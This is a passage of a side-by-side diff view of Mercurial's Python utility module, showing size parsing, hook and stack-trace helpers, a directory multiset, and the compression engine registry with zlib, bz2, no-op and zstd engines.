3087 | 3091 | |
|
3088 | 3092 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
|
3089 | 3093 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
|
3090 | 3094 | |
|
3091 | 3095 | def sizetoint(s): |
|
3092 | 3096 | '''Convert a space specifier to a byte count. |
|
3093 | 3097 | |
|
3094 | 3098 | >>> sizetoint(b'30') |
|
3095 | 3099 | 30 |
|
3096 | 3100 | >>> sizetoint(b'2.2kb') |
|
3097 | 3101 | 2252 |
|
3098 | 3102 | >>> sizetoint(b'6M') |
|
3099 | 3103 | 6291456 |
|
3100 | 3104 | ''' |
|
3101 | 3105 | t = s.strip().lower() |
|
3102 | 3106 | try: |
|
3103 | 3107 | for k, u in _sizeunits: |
|
3104 | 3108 | if t.endswith(k): |
|
3105 | 3109 | return int(float(t[:-len(k)]) * u) |
|
3106 | 3110 | return int(t) |
|
3107 | 3111 | except ValueError: |
|
3108 | 3112 | raise error.ParseError(_("couldn't parse size: %s") % s) |
|
3109 | 3113 | |
|
3110 | 3114 | class hooks(object): |
|
3111 | 3115 | '''A collection of hook functions that can be used to extend a |
|
3112 | 3116 | function's behavior. Hooks are called in lexicographic order, |
|
3113 | 3117 | based on the names of their sources.''' |
|
3114 | 3118 | |
|
3115 | 3119 | def __init__(self): |
|
3116 | 3120 | self._hooks = [] |
|
3117 | 3121 | |
|
3118 | 3122 | def add(self, source, hook): |
|
3119 | 3123 | self._hooks.append((source, hook)) |
|
3120 | 3124 | |
|
3121 | 3125 | def __call__(self, *args): |
|
3122 | 3126 | self._hooks.sort(key=lambda x: x[0]) |
|
3123 | 3127 | results = [] |
|
3124 | 3128 | for source, hook in self._hooks: |
|
3125 | 3129 | results.append(hook(*args)) |
|
3126 | 3130 | return results |
|
3127 | 3131 | |
|
3128 | 3132 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0): |
|
3129 | 3133 | '''Yields lines for a nicely formatted stacktrace. |
|
3130 | 3134 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3131 | 3135 | Each file+linenumber is formatted according to fileline. |
|
3132 | 3136 | Each line is formatted according to line. |
|
3133 | 3137 | If line is None, it yields: |
|
3134 | 3138 | length of longest filepath+line number, |
|
3135 | 3139 | filepath+linenumber, |
|
3136 | 3140 | function |
|
3137 | 3141 | |
|
3138 | 3142 | Not be used in production code but very convenient while developing. |
|
3139 | 3143 | ''' |
|
3140 | 3144 | entries = [(fileline % (fn, ln), func) |
|
3141 | 3145 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
|
3142 | 3146 | ][-depth:] |
|
3143 | 3147 | if entries: |
|
3144 | 3148 | fnmax = max(len(entry[0]) for entry in entries) |
|
3145 | 3149 | for fnln, func in entries: |
|
3146 | 3150 | if line is None: |
|
3147 | 3151 | yield (fnmax, fnln, func) |
|
3148 | 3152 | else: |
|
3149 | 3153 | yield line % (fnmax, fnln, func) |
|
3150 | 3154 | |
|
3151 | 3155 | def debugstacktrace(msg='stacktrace', skip=0, |
|
3152 | 3156 | f=stderr, otherf=stdout, depth=0): |
|
3153 | 3157 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3154 | 3158 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3155 | 3159 | By default it will flush stdout first. |
|
3156 | 3160 | It can be used everywhere and intentionally does not require an ui object. |
|
3157 | 3161 | Not be used in production code but very convenient while developing. |
|
3158 | 3162 | ''' |
|
3159 | 3163 | if otherf: |
|
3160 | 3164 | otherf.flush() |
|
3161 | 3165 | f.write('%s at:\n' % msg.rstrip()) |
|
3162 | 3166 | for line in getstackframes(skip + 1, depth=depth): |
|
3163 | 3167 | f.write(line) |
|
3164 | 3168 | f.flush() |
|
3165 | 3169 | |
|
3166 | 3170 | class dirs(object): |
|
3167 | 3171 | '''a multiset of directory names from a dirstate or manifest''' |
|
3168 | 3172 | |
|
3169 | 3173 | def __init__(self, map, skip=None): |
|
3170 | 3174 | self._dirs = {} |
|
3171 | 3175 | addpath = self.addpath |
|
3172 | 3176 | if safehasattr(map, 'iteritems') and skip is not None: |
|
3173 | 3177 | for f, s in map.iteritems(): |
|
3174 | 3178 | if s[0] != skip: |
|
3175 | 3179 | addpath(f) |
|
3176 | 3180 | else: |
|
3177 | 3181 | for f in map: |
|
3178 | 3182 | addpath(f) |
|
3179 | 3183 | |
|
3180 | 3184 | def addpath(self, path): |
|
3181 | 3185 | dirs = self._dirs |
|
3182 | 3186 | for base in finddirs(path): |
|
3183 | 3187 | if base in dirs: |
|
3184 | 3188 | dirs[base] += 1 |
|
3185 | 3189 | return |
|
3186 | 3190 | dirs[base] = 1 |
|
3187 | 3191 | |
|
3188 | 3192 | def delpath(self, path): |
|
3189 | 3193 | dirs = self._dirs |
|
3190 | 3194 | for base in finddirs(path): |
|
3191 | 3195 | if dirs[base] > 1: |
|
3192 | 3196 | dirs[base] -= 1 |
|
3193 | 3197 | return |
|
3194 | 3198 | del dirs[base] |
|
3195 | 3199 | |
|
3196 | 3200 | def __iter__(self): |
|
3197 | 3201 | return iter(self._dirs) |
|
3198 | 3202 | |
|
3199 | 3203 | def __contains__(self, d): |
|
3200 | 3204 | return d in self._dirs |
|
3201 | 3205 | |
|
3202 | 3206 | if safehasattr(parsers, 'dirs'): |
|
3203 | 3207 | dirs = parsers.dirs |
|
3204 | 3208 | |
|
3205 | 3209 | def finddirs(path): |
|
3206 | 3210 | pos = path.rfind('/') |
|
3207 | 3211 | while pos != -1: |
|
3208 | 3212 | yield path[:pos] |
|
3209 | 3213 | pos = path.rfind('/', 0, pos) |
|
3210 | 3214 | |
|
3211 | 3215 | # compression code |
|
3212 | 3216 | |
|
3213 | 3217 | SERVERROLE = 'server' |
|
3214 | 3218 | CLIENTROLE = 'client' |
|
3215 | 3219 | |
|
3216 | 3220 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
|
3217 | 3221 | (u'name', u'serverpriority', |
|
3218 | 3222 | u'clientpriority')) |
|
3219 | 3223 | |
|
3220 | 3224 | class compressormanager(object): |
|
3221 | 3225 | """Holds registrations of various compression engines. |
|
3222 | 3226 | |
|
3223 | 3227 | This class essentially abstracts the differences between compression |
|
3224 | 3228 | engines to allow new compression formats to be added easily, possibly from |
|
3225 | 3229 | extensions. |
|
3226 | 3230 | |
|
3227 | 3231 | Compressors are registered against the global instance by calling its |
|
3228 | 3232 | ``register()`` method. |
|
3229 | 3233 | """ |
|
3230 | 3234 | def __init__(self): |
|
3231 | 3235 | self._engines = {} |
|
3232 | 3236 | # Bundle spec human name to engine name. |
|
3233 | 3237 | self._bundlenames = {} |
|
3234 | 3238 | # Internal bundle identifier to engine name. |
|
3235 | 3239 | self._bundletypes = {} |
|
3236 | 3240 | # Revlog header to engine name. |
|
3237 | 3241 | self._revlogheaders = {} |
|
3238 | 3242 | # Wire proto identifier to engine name. |
|
3239 | 3243 | self._wiretypes = {} |
|
3240 | 3244 | |
|
3241 | 3245 | def __getitem__(self, key): |
|
3242 | 3246 | return self._engines[key] |
|
3243 | 3247 | |
|
3244 | 3248 | def __contains__(self, key): |
|
3245 | 3249 | return key in self._engines |
|
3246 | 3250 | |
|
3247 | 3251 | def __iter__(self): |
|
3248 | 3252 | return iter(self._engines.keys()) |
|
3249 | 3253 | |
|
3250 | 3254 | def register(self, engine): |
|
3251 | 3255 | """Register a compression engine with the manager. |
|
3252 | 3256 | |
|
3253 | 3257 | The argument must be a ``compressionengine`` instance. |
|
3254 | 3258 | """ |
|
3255 | 3259 | if not isinstance(engine, compressionengine): |
|
3256 | 3260 | raise ValueError(_('argument must be a compressionengine')) |
|
3257 | 3261 | |
|
3258 | 3262 | name = engine.name() |
|
3259 | 3263 | |
|
3260 | 3264 | if name in self._engines: |
|
3261 | 3265 | raise error.Abort(_('compression engine %s already registered') % |
|
3262 | 3266 | name) |
|
3263 | 3267 | |
|
3264 | 3268 | bundleinfo = engine.bundletype() |
|
3265 | 3269 | if bundleinfo: |
|
3266 | 3270 | bundlename, bundletype = bundleinfo |
|
3267 | 3271 | |
|
3268 | 3272 | if bundlename in self._bundlenames: |
|
3269 | 3273 | raise error.Abort(_('bundle name %s already registered') % |
|
3270 | 3274 | bundlename) |
|
3271 | 3275 | if bundletype in self._bundletypes: |
|
3272 | 3276 | raise error.Abort(_('bundle type %s already registered by %s') % |
|
3273 | 3277 | (bundletype, self._bundletypes[bundletype])) |
|
3274 | 3278 | |
|
3275 | 3279 | # No external facing name declared. |
|
3276 | 3280 | if bundlename: |
|
3277 | 3281 | self._bundlenames[bundlename] = name |
|
3278 | 3282 | |
|
3279 | 3283 | self._bundletypes[bundletype] = name |
|
3280 | 3284 | |
|
3281 | 3285 | wiresupport = engine.wireprotosupport() |
|
3282 | 3286 | if wiresupport: |
|
3283 | 3287 | wiretype = wiresupport.name |
|
3284 | 3288 | if wiretype in self._wiretypes: |
|
3285 | 3289 | raise error.Abort(_('wire protocol compression %s already ' |
|
3286 | 3290 | 'registered by %s') % |
|
3287 | 3291 | (wiretype, self._wiretypes[wiretype])) |
|
3288 | 3292 | |
|
3289 | 3293 | self._wiretypes[wiretype] = name |
|
3290 | 3294 | |
|
3291 | 3295 | revlogheader = engine.revlogheader() |
|
3292 | 3296 | if revlogheader and revlogheader in self._revlogheaders: |
|
3293 | 3297 | raise error.Abort(_('revlog header %s already registered by %s') % |
|
3294 | 3298 | (revlogheader, self._revlogheaders[revlogheader])) |
|
3295 | 3299 | |
|
3296 | 3300 | if revlogheader: |
|
3297 | 3301 | self._revlogheaders[revlogheader] = name |
|
3298 | 3302 | |
|
3299 | 3303 | self._engines[name] = engine |
|
3300 | 3304 | |
|
3301 | 3305 | @property |
|
3302 | 3306 | def supportedbundlenames(self): |
|
3303 | 3307 | return set(self._bundlenames.keys()) |
|
3304 | 3308 | |
|
3305 | 3309 | @property |
|
3306 | 3310 | def supportedbundletypes(self): |
|
3307 | 3311 | return set(self._bundletypes.keys()) |
|
3308 | 3312 | |
|
3309 | 3313 | def forbundlename(self, bundlename): |
|
3310 | 3314 | """Obtain a compression engine registered to a bundle name. |
|
3311 | 3315 | |
|
3312 | 3316 | Will raise KeyError if the bundle type isn't registered. |
|
3313 | 3317 | |
|
3314 | 3318 | Will abort if the engine is known but not available. |
|
3315 | 3319 | """ |
|
3316 | 3320 | engine = self._engines[self._bundlenames[bundlename]] |
|
3317 | 3321 | if not engine.available(): |
|
3318 | 3322 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3319 | 3323 | engine.name()) |
|
3320 | 3324 | return engine |
|
3321 | 3325 | |
|
3322 | 3326 | def forbundletype(self, bundletype): |
|
3323 | 3327 | """Obtain a compression engine registered to a bundle type. |
|
3324 | 3328 | |
|
3325 | 3329 | Will raise KeyError if the bundle type isn't registered. |
|
3326 | 3330 | |
|
3327 | 3331 | Will abort if the engine is known but not available. |
|
3328 | 3332 | """ |
|
3329 | 3333 | engine = self._engines[self._bundletypes[bundletype]] |
|
3330 | 3334 | if not engine.available(): |
|
3331 | 3335 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3332 | 3336 | engine.name()) |
|
3333 | 3337 | return engine |
|
3334 | 3338 | |
|
3335 | 3339 | def supportedwireengines(self, role, onlyavailable=True): |
|
3336 | 3340 | """Obtain compression engines that support the wire protocol. |
|
3337 | 3341 | |
|
3338 | 3342 | Returns a list of engines in prioritized order, most desired first. |
|
3339 | 3343 | |
|
3340 | 3344 | If ``onlyavailable`` is set, filter out engines that can't be |
|
3341 | 3345 | loaded. |
|
3342 | 3346 | """ |
|
3343 | 3347 | assert role in (SERVERROLE, CLIENTROLE) |
|
3344 | 3348 | |
|
3345 | 3349 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
|
3346 | 3350 | |
|
3347 | 3351 | engines = [self._engines[e] for e in self._wiretypes.values()] |
|
3348 | 3352 | if onlyavailable: |
|
3349 | 3353 | engines = [e for e in engines if e.available()] |
|
3350 | 3354 | |
|
3351 | 3355 | def getkey(e): |
|
3352 | 3356 | # Sort first by priority, highest first. In case of tie, sort |
|
3353 | 3357 | # alphabetically. This is arbitrary, but ensures output is |
|
3354 | 3358 | # stable. |
|
3355 | 3359 | w = e.wireprotosupport() |
|
3356 | 3360 | return -1 * getattr(w, attr), w.name |
|
3357 | 3361 | |
|
3358 | 3362 | return list(sorted(engines, key=getkey)) |
|
3359 | 3363 | |
|
3360 | 3364 | def forwiretype(self, wiretype): |
|
3361 | 3365 | engine = self._engines[self._wiretypes[wiretype]] |
|
3362 | 3366 | if not engine.available(): |
|
3363 | 3367 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3364 | 3368 | engine.name()) |
|
3365 | 3369 | return engine |
|
3366 | 3370 | |
|
3367 | 3371 | def forrevlogheader(self, header): |
|
3368 | 3372 | """Obtain a compression engine registered to a revlog header. |
|
3369 | 3373 | |
|
3370 | 3374 | Will raise KeyError if the revlog header value isn't registered. |
|
3371 | 3375 | """ |
|
3372 | 3376 | return self._engines[self._revlogheaders[header]] |
|
3373 | 3377 | |
|
3374 | 3378 | compengines = compressormanager() |
|
3375 | 3379 | |
|
3376 | 3380 | class compressionengine(object): |
|
3377 | 3381 | """Base class for compression engines. |
|
3378 | 3382 | |
|
3379 | 3383 | Compression engines must implement the interface defined by this class. |
|
3380 | 3384 | """ |
|
3381 | 3385 | def name(self): |
|
3382 | 3386 | """Returns the name of the compression engine. |
|
3383 | 3387 | |
|
3384 | 3388 | This is the key the engine is registered under. |
|
3385 | 3389 | |
|
3386 | 3390 | This method must be implemented. |
|
3387 | 3391 | """ |
|
3388 | 3392 | raise NotImplementedError() |
|
3389 | 3393 | |
|
3390 | 3394 | def available(self): |
|
3391 | 3395 | """Whether the compression engine is available. |
|
3392 | 3396 | |
|
3393 | 3397 | The intent of this method is to allow optional compression engines |
|
3394 | 3398 | that may not be available in all installations (such as engines relying |
|
3395 | 3399 | on C extensions that may not be present). |
|
3396 | 3400 | """ |
|
3397 | 3401 | return True |
|
3398 | 3402 | |
|
3399 | 3403 | def bundletype(self): |
|
3400 | 3404 | """Describes bundle identifiers for this engine. |
|
3401 | 3405 | |
|
3402 | 3406 | If this compression engine isn't supported for bundles, returns None. |
|
3403 | 3407 | |
|
3404 | 3408 | If this engine can be used for bundles, returns a 2-tuple of strings of |
|
3405 | 3409 | the user-facing "bundle spec" compression name and an internal |
|
3406 | 3410 | identifier used to denote the compression format within bundles. To |
|
3407 | 3411 | exclude the name from external usage, set the first element to ``None``. |
|
3408 | 3412 | |
|
3409 | 3413 | If bundle compression is supported, the class must also implement |
|
3410 | 3414 | ``compressstream`` and `decompressorreader``. |
|
3411 | 3415 | |
|
3412 | 3416 | The docstring of this method is used in the help system to tell users |
|
3413 | 3417 | about this engine. |
|
3414 | 3418 | """ |
|
3415 | 3419 | return None |
|
3416 | 3420 | |
|
3417 | 3421 | def wireprotosupport(self): |
|
3418 | 3422 | """Declare support for this compression format on the wire protocol. |
|
3419 | 3423 | |
|
3420 | 3424 | If this compression engine isn't supported for compressing wire |
|
3421 | 3425 | protocol payloads, returns None. |
|
3422 | 3426 | |
|
3423 | 3427 | Otherwise, returns ``compenginewireprotosupport`` with the following |
|
3424 | 3428 | fields: |
|
3425 | 3429 | |
|
3426 | 3430 | * String format identifier |
|
3427 | 3431 | * Integer priority for the server |
|
3428 | 3432 | * Integer priority for the client |
|
3429 | 3433 | |
|
3430 | 3434 | The integer priorities are used to order the advertisement of format |
|
3431 | 3435 | support by server and client. The highest integer is advertised |
|
3432 | 3436 | first. Integers with non-positive values aren't advertised. |
|
3433 | 3437 | |
|
3434 | 3438 | The priority values are somewhat arbitrary and only used for default |
|
3435 | 3439 | ordering. The relative order can be changed via config options. |
|
3436 | 3440 | |
|
3437 | 3441 | If wire protocol compression is supported, the class must also implement |
|
3438 | 3442 | ``compressstream`` and ``decompressorreader``. |
|
3439 | 3443 | """ |
|
3440 | 3444 | return None |
|
3441 | 3445 | |
|
3442 | 3446 | def revlogheader(self): |
|
3443 | 3447 | """Header added to revlog chunks that identifies this engine. |
|
3444 | 3448 | |
|
3445 | 3449 | If this engine can be used to compress revlogs, this method should |
|
3446 | 3450 | return the bytes used to identify chunks compressed with this engine. |
|
3447 | 3451 | Else, the method should return ``None`` to indicate it does not |
|
3448 | 3452 | participate in revlog compression. |
|
3449 | 3453 | """ |
|
3450 | 3454 | return None |
|
3451 | 3455 | |
|
3452 | 3456 | def compressstream(self, it, opts=None): |
|
3453 | 3457 | """Compress an iterator of chunks. |
|
3454 | 3458 | |
|
3455 | 3459 | The method receives an iterator (ideally a generator) of chunks of |
|
3456 | 3460 | bytes to be compressed. It returns an iterator (ideally a generator) |
|
3457 | 3461 | of bytes of chunks representing the compressed output. |
|
3458 | 3462 | |
|
3459 | 3463 | Optionally accepts an argument defining how to perform compression. |
|
3460 | 3464 | Each engine treats this argument differently. |
|
3461 | 3465 | """ |
|
3462 | 3466 | raise NotImplementedError() |
|
3463 | 3467 | |
|
3464 | 3468 | def decompressorreader(self, fh): |
|
3465 | 3469 | """Perform decompression on a file object. |
|
3466 | 3470 | |
|
3467 | 3471 | Argument is an object with a ``read(size)`` method that returns |
|
3468 | 3472 | compressed data. Return value is an object with a ``read(size)`` that |
|
3469 | 3473 | returns uncompressed data. |
|
3470 | 3474 | """ |
|
3471 | 3475 | raise NotImplementedError() |
|
3472 | 3476 | |
|
3473 | 3477 | def revlogcompressor(self, opts=None): |
|
3474 | 3478 | """Obtain an object that can be used to compress revlog entries. |
|
3475 | 3479 | |
|
3476 | 3480 | The object has a ``compress(data)`` method that compresses binary |
|
3477 | 3481 | data. This method returns compressed binary data or ``None`` if |
|
3478 | 3482 | the data could not be compressed (too small, not compressible, etc). |
|
3479 | 3483 | The returned data should have a header uniquely identifying this |
|
3480 | 3484 | compression format so decompression can be routed to this engine. |
|
3481 | 3485 | This header should be identified by the ``revlogheader()`` return |
|
3482 | 3486 | value. |
|
3483 | 3487 | |
|
3484 | 3488 | The object has a ``decompress(data)`` method that decompresses |
|
3485 | 3489 | data. The method will only be called if ``data`` begins with |
|
3486 | 3490 | ``revlogheader()``. The method should return the raw, uncompressed |
|
3487 | 3491 | data or raise a ``RevlogError``. |
|
3488 | 3492 | |
|
3489 | 3493 | The object is reusable but is not thread safe. |
|
3490 | 3494 | """ |
|
3491 | 3495 | raise NotImplementedError() |
|
3492 | 3496 | |
|
3493 | 3497 | class _zlibengine(compressionengine): |
|
3494 | 3498 | def name(self): |
|
3495 | 3499 | return 'zlib' |
|
3496 | 3500 | |
|
3497 | 3501 | def bundletype(self): |
|
3498 | 3502 | """zlib compression using the DEFLATE algorithm. |
|
3499 | 3503 | |
|
3500 | 3504 | All Mercurial clients should support this format. The compression |
|
3501 | 3505 | algorithm strikes a reasonable balance between compression ratio |
|
3502 | 3506 | and size. |
|
3503 | 3507 | """ |
|
3504 | 3508 | return 'gzip', 'GZ' |
|
3505 | 3509 | |
|
3506 | 3510 | def wireprotosupport(self): |
|
3507 | 3511 | return compewireprotosupport('zlib', 20, 20) |
|
3508 | 3512 | |
|
3509 | 3513 | def revlogheader(self): |
|
3510 | 3514 | return 'x' |
|
3511 | 3515 | |
|
3512 | 3516 | def compressstream(self, it, opts=None): |
|
3513 | 3517 | opts = opts or {} |
|
3514 | 3518 | |
|
3515 | 3519 | z = zlib.compressobj(opts.get('level', -1)) |
|
3516 | 3520 | for chunk in it: |
|
3517 | 3521 | data = z.compress(chunk) |
|
3518 | 3522 | # Not all calls to compress emit data. It is cheaper to inspect |
|
3519 | 3523 | # here than to feed empty chunks through generator. |
|
3520 | 3524 | if data: |
|
3521 | 3525 | yield data |
|
3522 | 3526 | |
|
3523 | 3527 | yield z.flush() |
|
3524 | 3528 | |
|
3525 | 3529 | def decompressorreader(self, fh): |
|
3526 | 3530 | def gen(): |
|
3527 | 3531 | d = zlib.decompressobj() |
|
3528 | 3532 | for chunk in filechunkiter(fh): |
|
3529 | 3533 | while chunk: |
|
3530 | 3534 | # Limit output size to limit memory. |
|
3531 | 3535 | yield d.decompress(chunk, 2 ** 18) |
|
3532 | 3536 | chunk = d.unconsumed_tail |
|
3533 | 3537 | |
|
3534 | 3538 | return chunkbuffer(gen()) |
|
3535 | 3539 | |
|
3536 | 3540 | class zlibrevlogcompressor(object): |
|
3537 | 3541 | def compress(self, data): |
|
3538 | 3542 | insize = len(data) |
|
3539 | 3543 | # Caller handles empty input case. |
|
3540 | 3544 | assert insize > 0 |
|
3541 | 3545 | |
|
3542 | 3546 | if insize < 44: |
|
3543 | 3547 | return None |
|
3544 | 3548 | |
|
3545 | 3549 | elif insize <= 1000000: |
|
3546 | 3550 | compressed = zlib.compress(data) |
|
3547 | 3551 | if len(compressed) < insize: |
|
3548 | 3552 | return compressed |
|
3549 | 3553 | return None |
|
3550 | 3554 | |
|
3551 | 3555 | # zlib makes an internal copy of the input buffer, doubling |
|
3552 | 3556 | # memory usage for large inputs. So do streaming compression |
|
3553 | 3557 | # on large inputs. |
|
3554 | 3558 | else: |
|
3555 | 3559 | z = zlib.compressobj() |
|
3556 | 3560 | parts = [] |
|
3557 | 3561 | pos = 0 |
|
3558 | 3562 | while pos < insize: |
|
3559 | 3563 | pos2 = pos + 2**20 |
|
3560 | 3564 | parts.append(z.compress(data[pos:pos2])) |
|
3561 | 3565 | pos = pos2 |
|
3562 | 3566 | parts.append(z.flush()) |
|
3563 | 3567 | |
|
3564 | 3568 | if sum(map(len, parts)) < insize: |
|
3565 | 3569 | return ''.join(parts) |
|
3566 | 3570 | return None |
|
3567 | 3571 | |
|
3568 | 3572 | def decompress(self, data): |
|
3569 | 3573 | try: |
|
3570 | 3574 | return zlib.decompress(data) |
|
3571 | 3575 | except zlib.error as e: |
|
3572 | 3576 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3573 | 3577 | str(e)) |
|
3574 | 3578 | |
|
3575 | 3579 | def revlogcompressor(self, opts=None): |
|
3576 | 3580 | return self.zlibrevlogcompressor() |
|
3577 | 3581 | |
|
3578 | 3582 | compengines.register(_zlibengine()) |
|
3579 | 3583 | |
|
3580 | 3584 | class _bz2engine(compressionengine): |
|
3581 | 3585 | def name(self): |
|
3582 | 3586 | return 'bz2' |
|
3583 | 3587 | |
|
3584 | 3588 | def bundletype(self): |
|
3585 | 3589 | """An algorithm that produces smaller bundles than ``gzip``. |
|
3586 | 3590 | |
|
3587 | 3591 | All Mercurial clients should support this format. |
|
3588 | 3592 | |
|
3589 | 3593 | This engine will likely produce smaller bundles than ``gzip`` but |
|
3590 | 3594 | will be significantly slower, both during compression and |
|
3591 | 3595 | decompression. |
|
3592 | 3596 | |
|
3593 | 3597 | If available, the ``zstd`` engine can yield similar or better |
|
3594 | 3598 | compression at much higher speeds. |
|
3595 | 3599 | """ |
|
3596 | 3600 | return 'bzip2', 'BZ' |
|
3597 | 3601 | |
|
3598 | 3602 | # We declare a protocol name but don't advertise by default because |
|
3599 | 3603 | # it is slow. |
|
3600 | 3604 | def wireprotosupport(self): |
|
3601 | 3605 | return compewireprotosupport('bzip2', 0, 0) |
|
3602 | 3606 | |
|
3603 | 3607 | def compressstream(self, it, opts=None): |
|
3604 | 3608 | opts = opts or {} |
|
3605 | 3609 | z = bz2.BZ2Compressor(opts.get('level', 9)) |
|
3606 | 3610 | for chunk in it: |
|
3607 | 3611 | data = z.compress(chunk) |
|
3608 | 3612 | if data: |
|
3609 | 3613 | yield data |
|
3610 | 3614 | |
|
3611 | 3615 | yield z.flush() |
|
3612 | 3616 | |
|
3613 | 3617 | def decompressorreader(self, fh): |
|
3614 | 3618 | def gen(): |
|
3615 | 3619 | d = bz2.BZ2Decompressor() |
|
3616 | 3620 | for chunk in filechunkiter(fh): |
|
3617 | 3621 | yield d.decompress(chunk) |
|
3618 | 3622 | |
|
3619 | 3623 | return chunkbuffer(gen()) |
|
3620 | 3624 | |
|
3621 | 3625 | compengines.register(_bz2engine()) |
|
3622 | 3626 | |
|
3623 | 3627 | class _truncatedbz2engine(compressionengine): |
|
3624 | 3628 | def name(self): |
|
3625 | 3629 | return 'bz2truncated' |
|
3626 | 3630 | |
|
3627 | 3631 | def bundletype(self): |
|
3628 | 3632 | return None, '_truncatedBZ' |
|
3629 | 3633 | |
|
3630 | 3634 | # We don't implement compressstream because it is hackily handled elsewhere. |
|
3631 | 3635 | |
|
3632 | 3636 | def decompressorreader(self, fh): |
|
3633 | 3637 | def gen(): |
|
3634 | 3638 | # The input stream doesn't have the 'BZ' header. So add it back. |
|
3635 | 3639 | d = bz2.BZ2Decompressor() |
|
3636 | 3640 | d.decompress('BZ') |
|
3637 | 3641 | for chunk in filechunkiter(fh): |
|
3638 | 3642 | yield d.decompress(chunk) |
|
3639 | 3643 | |
|
3640 | 3644 | return chunkbuffer(gen()) |
|
3641 | 3645 | |
|
3642 | 3646 | compengines.register(_truncatedbz2engine()) |
|
3643 | 3647 | |
|
3644 | 3648 | class _noopengine(compressionengine): |
|
3645 | 3649 | def name(self): |
|
3646 | 3650 | return 'none' |
|
3647 | 3651 | |
|
3648 | 3652 | def bundletype(self): |
|
3649 | 3653 | """No compression is performed. |
|
3650 | 3654 | |
|
3651 | 3655 | Use this compression engine to explicitly disable compression. |
|
3652 | 3656 | """ |
|
3653 | 3657 | return 'none', 'UN' |
|
3654 | 3658 | |
|
3655 | 3659 | # Clients always support uncompressed payloads. Servers don't because |
|
3656 | 3660 | # unless you are on a fast network, uncompressed payloads can easily |
|
3657 | 3661 | # saturate your network pipe. |
|
3658 | 3662 | def wireprotosupport(self): |
|
3659 | 3663 | return compewireprotosupport('none', 0, 10) |
|
3660 | 3664 | |
|
3661 | 3665 | # We don't implement revlogheader because it is handled specially |
|
3662 | 3666 | # in the revlog class. |
|
3663 | 3667 | |
|
3664 | 3668 | def compressstream(self, it, opts=None): |
|
3665 | 3669 | return it |
|
3666 | 3670 | |
|
3667 | 3671 | def decompressorreader(self, fh): |
|
3668 | 3672 | return fh |
|
3669 | 3673 | |
|
3670 | 3674 | class nooprevlogcompressor(object): |
|
3671 | 3675 | def compress(self, data): |
|
3672 | 3676 | return None |
|
3673 | 3677 | |
|
3674 | 3678 | def revlogcompressor(self, opts=None): |
|
3675 | 3679 | return self.nooprevlogcompressor() |
|
3676 | 3680 | |
|
3677 | 3681 | compengines.register(_noopengine()) |
|
3678 | 3682 | |
|
3679 | 3683 | class _zstdengine(compressionengine): |
|
3680 | 3684 | def name(self): |
|
3681 | 3685 | return 'zstd' |
|
3682 | 3686 | |
|
3683 | 3687 | @propertycache |
|
3684 | 3688 | def _module(self): |
|
3685 | 3689 | # Not all installs have the zstd module available. So defer importing |
|
3686 | 3690 | # until first access. |
|
3687 | 3691 | try: |
|
3688 | 3692 | from . import zstd |
|
3689 | 3693 | # Force delayed import. |
|
3690 | 3694 | zstd.__version__ |
|
3691 | 3695 | return zstd |
|
3692 | 3696 | except ImportError: |
|
3693 | 3697 | return None |
|
3694 | 3698 | |
|
3695 | 3699 | def available(self): |
|
3696 | 3700 | return bool(self._module) |
|
3697 | 3701 | |
|
3698 | 3702 | def bundletype(self): |
|
3699 | 3703 | """A modern compression algorithm that is fast and highly flexible. |
|
3700 | 3704 | |
|
3701 | 3705 | Only supported by Mercurial 4.1 and newer clients. |
|
3702 | 3706 | |
|
3703 | 3707 | With the default settings, zstd compression is both faster and yields |
|
3704 | 3708 | better compression than ``gzip``. It also frequently yields better |
|
3705 | 3709 | compression than ``bzip2`` while operating at much higher speeds. |
|
3706 | 3710 | |
|
3707 | 3711 | If this engine is available and backwards compatibility is not a |
|
3708 | 3712 | concern, it is likely the best available engine. |
|
3709 | 3713 | """ |
|
3710 | 3714 | return 'zstd', 'ZS' |
|
3711 | 3715 | |
|
3712 | 3716 | def wireprotosupport(self): |
|
3713 | 3717 | return compewireprotosupport('zstd', 50, 50) |
|
3714 | 3718 | |
|
3715 | 3719 | def revlogheader(self): |
|
3716 | 3720 | return '\x28' |
|
3717 | 3721 | |
|
3718 | 3722 | def compressstream(self, it, opts=None): |
|
3719 | 3723 | opts = opts or {} |
|
3720 | 3724 | # zstd level 3 is almost always significantly faster than zlib |
|
3721 | 3725 | # while providing no worse compression. It strikes a good balance |
|
3722 | 3726 | # between speed and compression. |
|
3723 | 3727 | level = opts.get('level', 3) |
|
3724 | 3728 | |
|
3725 | 3729 | zstd = self._module |
|
3726 | 3730 | z = zstd.ZstdCompressor(level=level).compressobj() |
|
3727 | 3731 | for chunk in it: |
|
3728 | 3732 | data = z.compress(chunk) |
|
3729 | 3733 | if data: |
|
3730 | 3734 | yield data |
|
3731 | 3735 | |
|
3732 | 3736 | yield z.flush() |
|
3733 | 3737 | |
|
3734 | 3738 | def decompressorreader(self, fh): |
|
3735 | 3739 | zstd = self._module |
|
3736 | 3740 | dctx = zstd.ZstdDecompressor() |
|
3737 | 3741 | return chunkbuffer(dctx.read_from(fh)) |
|
3738 | 3742 | |
|
3739 | 3743 | class zstdrevlogcompressor(object): |
|
3740 | 3744 | def __init__(self, zstd, level=3): |
|
3741 | 3745 | # Writing the content size adds a few bytes to the output. However, |
|
3742 | 3746 | # it allows decompression to be more optimal since we can |
|
3743 | 3747 | # pre-allocate a buffer to hold the result. |
|
3744 | 3748 | self._cctx = zstd.ZstdCompressor(level=level, |
|
3745 | 3749 | write_content_size=True) |
|
3746 | 3750 | self._dctx = zstd.ZstdDecompressor() |
|
3747 | 3751 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3748 | 3752 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3749 | 3753 | |
|
3750 | 3754 | def compress(self, data): |
|
